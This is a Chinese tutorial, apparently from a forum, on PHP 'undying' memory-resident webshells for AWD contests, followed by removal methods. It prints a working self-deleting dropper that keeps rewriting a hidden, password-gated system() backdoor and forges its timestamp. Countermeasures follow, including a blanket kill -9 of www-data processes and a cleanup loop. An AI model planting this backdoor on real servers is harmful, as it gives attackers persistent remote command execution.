|
PHP内存性木马即PHP不死鸟
PHP内存性木马是一种比较隐蔽的恶意代码,它的特点是能够在服务器上保持持续运行,而且通常会创建隐蔽的后门,以便攻击者随时可以访问受感染的服务器。这种木马在AWD(Attack-Defense War)和Web安全竞赛中经常被用来测试和挑战安全性。
以下是一个简单的示例
示例:
- <?php
- ignore_user_abort(true);
- set_time_limit(0);
- unlink(__FILE__);
- $file = '/var/www/dvwa/.ski12.php';
- $code = '<?php if(md5($_POST["pass"])=="cdd7b7420654eb16c1e1b748d5b7c5b8"){@system($_POST[a]);}?>';
- while (1) {
- file_put_contents($file, $code);
- system('touch -m -d "2023-9-16 09:10:12" .ski12.php');
- usleep(5000);
- }
- ?>
复制代码
ignore_user_abort(true); - 这一行代码告诉服务器在客户端断开连接后继续执行脚本。这是为了确保木马脚本可以继续在后台运行,即使用户关闭了浏览器或断开了连接。
set_time_limit(0); - 这一行代码将PHP脚本的执行时间限制设置为无限制,确保脚本不会因为执行时间过长而中断。
unlink(__FILE__); - 这一行代码删除了当前运行的PHP脚本文件,使其在删除后不容易被发现。这是木马的一部分,以防止被发现。
$file = '/var/www/dvwa/.ski12.php'; - 这一行代码指定了木马脚本将要写入的文件路径,这里是.ski12.php文件。
$code = '<?php if(md5($_POST["pass"])=="cdd7b7420654eb16c1e1b748d5b7c5b8"){@system($_POST[a]);}?>'; - 这是木马脚本的主要部分,它包含了一个基于POST请求的密码验证,如果提供的密码正确,就允许执行系统命令。这是后门的一部分,允许攻击者远程控制服务器。
while (1) { ... } - 这是一个无限循环,它会不断将上述的木马代码写入指定的文件,并且使用system命令修改文件的修改时间,以隐藏木马的存在。
file_put_contents($file, $code); - 这一行代码将木马代码写入指定的文件中。
system('touch -m -d "2023-9-16 09:10:12" .ski12.php'); - 这一行代码使用system命令修改文件的修改时间,以隐藏木马的存在。
usleep(5000); - 这一行代码让程序暂停5000微秒(即0.005秒),以便下一次循环。
查杀方法
重启服务:重启服务器上受感染的服务是一种有效的方法,因为它会终止所有正在运行的进程,包括木马程序。但这并不总是可行,因为可能会中断正常的服务并影响其他用户。
终止www-data用户的子进程:这个命令会查找所有属于www-data用户的子进程,并强制终止它们。www-data用户通常用于运行Web服务器(如Apache或Nginx),而攻击者可能会尝试利用这个用户来运行木马。终止这些进程可以停止木马的执行。
ps aux | grep www-data | awk '{print $2}' | xargs kill -9
这个命令会强制终止进程,
这个命令是用来查找并终止与www-data用户相关的进程。具体来说,它的作用是:
ps aux:列出当前运行的所有进程。
grep www-data:筛选出包含"www-data"的进程。
awk '{print $2}':提取这些进程的第二列,也就是进程ID。
xargs kill -9:将这些进程ID作为参数传递给kill -9命令,强制终止这些进程。
需要注意的是,使用kill -9命令会强制终止进程,
3.创建同名目录:这个方法利用木马的自我保护机制。木马通常会检测是否存在与其文件名相同的目录,如果存在,则不会执行。因此,创建一个同名目录可以防止木马再次执行。
4.编写竞争写入脚本:这是一种更高级的方法,它尝试不断写入和删除不死马文件,以阻止木马的正常执行。需要确保竞争写入脚本的usleep()时间小于不死马的usleep()时间,以确保它能够成功干扰木马
持续地终止不死马进程并删除不死马文件
- <?php
- // 创建一个数组,用于存储所有已知的不死马文件路径
- $malwareFiles = array(
- "不死马的文件路径1",
- "不死马的文件路径2",
- // 添加更多的不死马文件路径
- );
- // 进入一个无限循环,用于持续清除不死马
- while (true) {
- // 终止不死马进程
- // 使用 shell_exec 命令执行系统命令来获取不死马进程的PID
- // 并使用 kill -9 命令强制终止进程
- $processes = shell_exec("ps aux | grep 不死马的进程名 | grep -v grep | awk '{print $2}'");
- // 将获取的PID字符串按行分割成数组
- $processes = explode("\n", trim($processes));
- // 遍历PID数组并逐个终止不死马进程
- foreach ($processes as $pid) {
- if (!empty($pid)) {
- shell_exec("kill -9 $pid");
- }
- }
- // 删除不死马文件
- // 遍历存储不死马文件路径的数组
- foreach ($malwareFiles as $file) {
- // 检查文件是否存在
- if (file_exists($file)) {
- // 如果文件存在,则使用 unlink 函数删除文件
- unlink($file);
- }
- }
- // 暂停脚本执行,以避免过多系统资源占用
- usleep(1000); // 暂停1000微秒,即0.001秒,然后再继续下一次循环
- }
- ?>
复制代码
$malwareFiles数组:这个数组用于存储所有已知的不死马文件路径。你需要将实际不死马文件的路径添加到这个数组中,确保代码可以找到并删除这些文件。
while (true) 循环:这是一个无限循环,用于持续执行清除不死马的操作。
终止不死马进程:使用 shell_exec 命令来执行系统命令,获取不死马进程的PID。grep 命令用于筛选出包含不死马进程名的行,grep -v grep 用于排除 grep 命令本身的匹配结果。然后使用 awk 命令提取PID。继而,foreach 循环遍历所有PID,使用 kill -9 命令强制终止不死马进程。
删除不死马文件:通过遍历 $malwareFiles 数组,检查每个文件是否存在(使用 file_exists 函数),如果文件存在,则使用 unlink 函数删除文件。
usleep(1000):这一行代码暂停脚本的执行,以避免过多系统资源占用。它会在每次循环之后暂停1000微秒(即0.001秒),然后再继续下一次循环。
这段代码的目标是持续地终止不死马进程并删除不死马文件,以确保不死马无法再次运行。请确保将示例代码中的 "不死马的文件路径1" 和 "不死马的文件路径2" 替换为实际不死马文件的路径。
工具:
WebShell检测引擎 https://scanner.baidu.com/#/pages/intro
|
|